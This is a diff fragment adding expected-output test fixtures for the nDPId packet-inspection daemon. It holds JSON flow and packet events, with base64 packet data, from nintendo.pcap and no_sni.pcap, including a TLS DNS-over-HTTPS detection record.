+00503{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":865606,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEc4AAAQR59XAqAxyUT2eitpryjkAVBGfMquYZAIAAADwuAAAiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP0lmkOnazq8M6J4sTxXaqpSqgQt\/SehAX+\/yVutWJAunA=="} +00503{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":865743,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEc8AAAQR59TAqAxyUT2eitpryjkAVIWwMquYZAIAAADwuQAAiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP1578slWad2rt4Nfaoyq\/s8of+vXVpKGl\/OrQSwk0lKGw=="} +00501{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":866124,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEdAAAAQR59PAqAxyUT2eitpryjkAVPV3MquYZAIAAADwuQAAiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP2Qg40LCwob4UNz3J7Ff6TnOcck+zRlrzT3W8xubz1htQ=="} +00434{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":873832,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsACt4AAAAARQAAaBHOAAABEerVwKgMclE9noraa8o5AFRFKA=="} +00434{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":874046,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAlswAAAAARQAAaBHPAAABEerUwKgMclE9noraa8o5AFS5OQ=="} +00434{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":874408,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBokGXBrhiwKgMcgsAJwUAAAAARQAAaBHQAAABEerTwKgMclE9noraa8o5AFQpAQ=="} +00502{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":895952,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABo638AADIR4CNRPZ6KwKgMcso52msAVLfiMquYZAIBAAC2vQAAPVguOprqOJvxf3KBi5kL9ukwb1wq5dqjFVtgaGaBZqgauEqWk94dmSyed\/xJwlvDAc4uea7aPcJHGJnZpBWDjg=="} +00501{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":901182,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABo64AAADIR4CJRPZ6KwKgMcso52msAVHxXMquYZAIBAAC2vgAAPVguOprqOJvxf3KBi5kL9ukwb1wq5dqjFVtgaGaBZqhN10vP0qGmIALU3oiGmRStiOXREDnOgx9wTWh3mvaoPg=="} +00503{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":909782,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEdIAAEARq9HAqAxyUT2eitpryjkAVGITMquYZAIAAADw5rbBKdUJvCWWmpPUMVRbVSL\/ms6fyAPfdbX8V8Af6wGuIogauEqWk94dmSyed\/xJwlvDk0yaFa+gUq8YyDiZSKdjVA=="} +00502{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":915131,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEdMAAEARq9DAqAxyUT2eitpryjkAVAuZMquYZAIAAADw67bGKdUJvCWWmpPUMVRbVSL\/ms6fyAPfdbX8V8Af6wGuIohN10vP0qGmIALU3oiGmRStZydUMdiUu614eU0zknGtnw=="} +00504{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":976502,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEdcAAEARq8zAqAxyUT2eitpryjkAVJ\/GMquYZAIAAADxKbcEiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP0VNDfxB721Ce35pyWVGkhESdXdbwDAoVBGzMqD\/f7vOg=="} +00503{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":976639,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEdgAAEARq8vAqAxyUT2eitpryjkAVNzKMquYZAIAAADxKbcEiVxWTHQXYLkMmEhv3TFhCu1eRL0sUh1f7FBB1\/G+YP3LwBCwXe5s\/c9OgLdxBm6BM5UFqxh65snYF+XPEFQpmw=="} diff --git a/test/results/no_sni.pcap.out b/test/results/no_sni.pcap.out new file mode 100644 index 000000000..457bb62d1 --- /dev/null +++ b/test/results/no_sni.pcap.out @@ -0,0 +1,134 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1604822444474,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.249.249","src_port":51331,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":474923,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"EBMxuRBeeDHBvV4kCABFAABPAABAAEAGFoDAqAF3aBD5+ciDAbvkc0fPNh\/971AYEABWfwAAFwMDACKpSo7n5l1NtXHPvYJ17DEID+iXo6vcSBPbb4QBvLt6N\/RR"} +00440{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":475424,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGFo\/AqAF3aBD5+ciDAbvkc0f2Nh\/971AYEAB\/fAAAFwMDABPsQXLhLYpNcnxO3uEm2chWzCNj"} +00406{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":475512,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGFqfAqAF3aBD5+ciDAbvkc0gONh\/971AREABQ2gAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1604822444486,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.249.249","src_port":51606,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":486731,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGFo\/AqAF3aBD5+cmWAbsdU0ZpAAAAALAC\/\/\/IBQAAAgQFtAEDAwYBAQgKKlLxbAAAAAAEAgAA"} +00414{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":593192,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoz19AADkGTkdoEPn5wKgBdwG7yIM2H\/3v5HNIDlAQAERglwAAAAAAAAAA"} +00414{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":594798,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoz2BAADkGTkZoEPn5wKgBdwG7yIM2H\/3v5HNIDlARAERglgAAAAAAAAAA"} +00406{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":594879,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGFqfAqAF3aBD5+ciDAbvkc0gONh\/98FAREABQ2QAA"} +00414{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":595017,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoz2FAADkGTkVoEPn5wKgBdwG7yIM2H\/3w5HNID1AQAERglQAAAAAAAAAA"} +00423{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":624675,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADkGHZtoEPn5wKgBdwG7yZbnV+zfHVNGaoAS\/\/9HygAAAgQFeAEBBAIBAwMK"} +00406{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":624753,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGFqfAqAF3aBD5+cmWAbsdU0Zq51fs4FAQEAB4YwAA"} +01236{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":629426,"pkt_caplen":670,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":670,"pkt_l4_len":636,"pkt":"EBMxuRBeeDHBvV4kCABFAAKQAABAAEAGFD\/AqAF3aBD5+cmWAbsdU0Zq51fs4FAYEACqFQAAFgMBAmMBAAJfAwM4QGbYN4X20uSmpCi+qLH24nxablHacDaB7g46zEyvJCCS0jgQR8zClHgewuqoUAH32VWvHW5IuO5vXWulcb1skAAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQAB8gAAAB8AHQAAGm1vemlsbGEuY2xvdWRmbGFyZS1kbnMuY29tABcAAP8BAAEAAAoADgAMAB0AFwAYABkBAAEBAAsAAgEAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAADMAawBpAB0AIHmVJzDe7D6qJNs1W0qD8RIXzzYXXPM\/3vnHoxYUiJkqABcAQQTWxNAmZdh04nOlC2Wggbf1TQ5Pxz25m+va297qXK9jD3ovCZ5UT7sdbxNYgxx9TZMDsDXvKRSDpVE90jpfHkDFACoAAAArAAUEAwQDAwANABgAFgQDBQMGAwgECAUIBgQBBQEGAQIDAgEALQACAQEAHAACQAEAKQDrAMYAwDOWKpJVdqJ22Z6lGoaHhJKmtmYwswNzWnU5DNuC8HGbdiXoFAZXxZG56tM93v7A4wn4E03RF1w530ZLeasMMIMsYEC4asY+xpMYZn2lZDq8jUcVaGkQ1uyuuJKtxOTpieuSHwZbHKadjDUlTR7uiwEOMjeGRMdOORxuffgTWS\/WKkZmXbE85P+ToRCh8lvZip4mWqQ0NEC5HrF38UgI1faKYf2KszBanKyjpCdEBVxPT1o2z7xi9N1pX8fd5IJJ3Dhki3gAISCp9COAa94cIbcD4ODGkygxHHNgI8KCuth8lpXGNGBiug=="} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1604822444486,"flow_last_seen":1604822444629,"flow_tot_l4_data_len":732,"flow_min_l4_data_len":20,"flow_max_l4_data_len":636,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.249.249","src_port":51606,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mozilla.cloudflare-dns.com","ja3":"5dd472f5a4060141b8cfd05eecf10d11","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00414{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":629706,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"EBMxuRBeeDHBvV4kCABFAAAuAABAAEAGFqHAqAF3aBD5+cmWAbsdU0jS51fs4FAYEABd6QAAFAMDAAEB"} +00647{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":629799,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"EBMxuRBeeDHBvV4kCABFAADSAABAAEAGFf3AqAF3aBD5+cmWAbsdU0jY51fs4FAYEACjfwAAFwMDAKW4k2EWcWuc6xL3buCNlVs5ZLZz6Z4Of8vW\/Q3EhCGwprLV2IWTE\/rCr6y\/6WWQf7EsmFisp2W5sIg2Ja\/AdtGmdrmDYN\/dTEF0Ao\/T059mWW6gmzlGAzI++2c8A\/65sCD9UX9YZhdiK9773tvHv\/5XG\/DZJ9HN6hdZyxOazZunT8x9BvEroY\/LUwlfJLcnB0BdL4Gf5SHC06tsrntHkmTkJhKpwgQ="} +00414{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":804936,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoPGhAADkG4T5oEPn5wKgBdwG7yZbnV+zgHVNI0lAQAEKFuQAAAAAAAAAA"} +01334{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":807971,"pkt_caplen":736,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":736,"pkt_l4_len":702,"pkt":"eDHBvV4kEBMxuRBeCABFAALSPGlAADkG3pNoEPn5wKgBdwG7yZbnV+zgHVNI0lAYAEJUoAAAFgMDAIACAAB8AwP0YW7203r+Mm6u9JuQcKUrHPm7Ob25qh5y5y0+bI755CCS0jgQR8zClHgewuqoUAH32VWvHW5IuO5vXWulcb1skBMBAAA0ACkAAgAAADMAJAAdACCF5jDS3VDb1X1PUhsMwtkQHZjuhfco\/pqKiHwCKcAbbAArAAIDBBQDAwABARcDAwBIioYN\/KO5cBS51lMZ6wA1JGbPI\/NgW+2QyEq5HcY7dXZQ0i5A0e95kfPS7KS+h\/gWPPhCAfBT\/E6035TpylC7fbJlIZhexFu1FwMDAc100YCNWyKi5AEeWT++1AwsTA5HFW+IBkrOk4Sv2Lyj4HgeOtvKmDHNZ8zLZCnM3cXwO2teIQwTddn+2ZPI5jqCLJz36xkXDO\/6mf6BYRuXNsp5pFY\/ierT34M2lqLNOCHl0Km0eZJMPbJothcsYtc1anhepVw1Sy\/ULyWmYGackQZHh5xP7O1bq0I+P5OUvaCKC2yFVRkB7ufEFqRZKdo+uYO921\/CGu+dWl\/J+wKyEWLXtCfyKLCiyt8W018wBBkhIOM0s54TqFSJko1lKtgtFNtEbx9U\/yXQowwskoK7Ic5GFJ\/\/cOPmtKkIncc0N1jTq74XFfh+B6MKApU1kr8m6AaBOFKgCGasjXa3G6KEP+GjFbfceOoEc7uPfvtLITbm65QWBfKLrNm9q6pioIqc1n1Gq6IHLthhX8SZ7qKK4s9BRel+KIndvcfMP8OYc+47ybWAuw4JdBsVnby5JdkVKfZKdED9HqzQNo+ixNJhXeYq78cKM+jKKpMYrWmBd1IkqbGpB+GnRISWxfQpi164PTfIyt6DMniqmxH4ZnDIzItwl5hZ0hUtC0DTR7TiX+HExsOIiZuJJO4gmmdtHSeL6EGeC9NsAsbxYMI91Q=="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":15,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":8,"flow_first_seen":1604822444486,"flow_last_seen":1604822444807,"flow_tot_l4_data_len":1670,"flow_min_l4_data_len":20,"flow_max_l4_data_len":702,"flow_avg_l4_data_len":208,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.249.249","src_port":51606,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"mozilla.cloudflare-dns.com","ja3":"5dd472f5a4060141b8cfd05eecf10d11","ja3s":"2b0648ab686ee45e0e7c35fcfb0eea7e","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00407{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":808041,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGFqfAqAF3aBD5+cmWAbsdU0mC51fvilAQD\/VyrAAA"} +00494{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":808127,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"eDHBvV4kEBMxuRBeCABFAABmPGpAADkG4P5oEPn5wKgBdwG7yZbnV++KHVNI0lAYAEIA3gAAFwMDADn2aYj+B\/dXPxUno4kNcPEtkFzqj3LyZFhFk9xNRtVgYgSHAakE2pabNM6LB2JauqyxaikRdlEnoUA="} +00416{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":808131,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoPGtAADkG4TtoEPn5wKgBdwG7yZbnV+\/IHVNI2FAQAEKCywAAAAAAAAAA"} +00408{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":808182,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGFqfAqAF3aBD5+cmWAbsdU0mC51fvyFAQD\/RybwAA"} +00523{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":810516,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMxuRBeeDHBvV4kCABFAAB8AABAAEAGFlPAqAF3aBD5+cmWAbsdU0mC51fvyFAYD\/fHUQAAFwMDABVqsaEaWbGiD2hE9eNcKIuJuz+m8k0XAwMANcLgJIApZ4awhY0t9Na9EJgjOzFaDNzQBmzZ8s2kSdoPolqS90HDQsAnKyxNMOmP1r9hxlkm"} +00416{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":814526,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoPGxAADkG4TpoEPn5wKgBdwG7yZbnV+\/IHVNJglAQAEOCIAAAAAAAAAAA"} +00452{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":815943,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"eDHBvV4kEBMxuRBeCABFAABHPG1AADkG4RpoEPn5wKgBdwG7yZbnV+\/IHVNJglAYAENyQAAAFwMDABqjFXpPjKZYFjKJigkOmBTtUDrQaTxYIYlVHA=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1604822444913,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.16.124.96","src_port":51612,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822444,"pkt_ts_usec":913120,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGlCjAqAF3aBB8YMmcAbs\/DuN6AAAAALAC\/\/+FPgAAAgQFtAEDAwYBAQgKKlLy+gAAAAAEAgAA"} +00424{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":34293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADkGmzRoEHxgwKgBdwG7yZyEa\/jPPw7je4AS\/\/9djQAAAgQFeAEBBAIBAwMK"} +00406{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822445,"pkt_ts_usec":34393,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGlEDAqAF3aBB8YMmcAbs\/DuN7hGv40FAQEACOJgAA"} 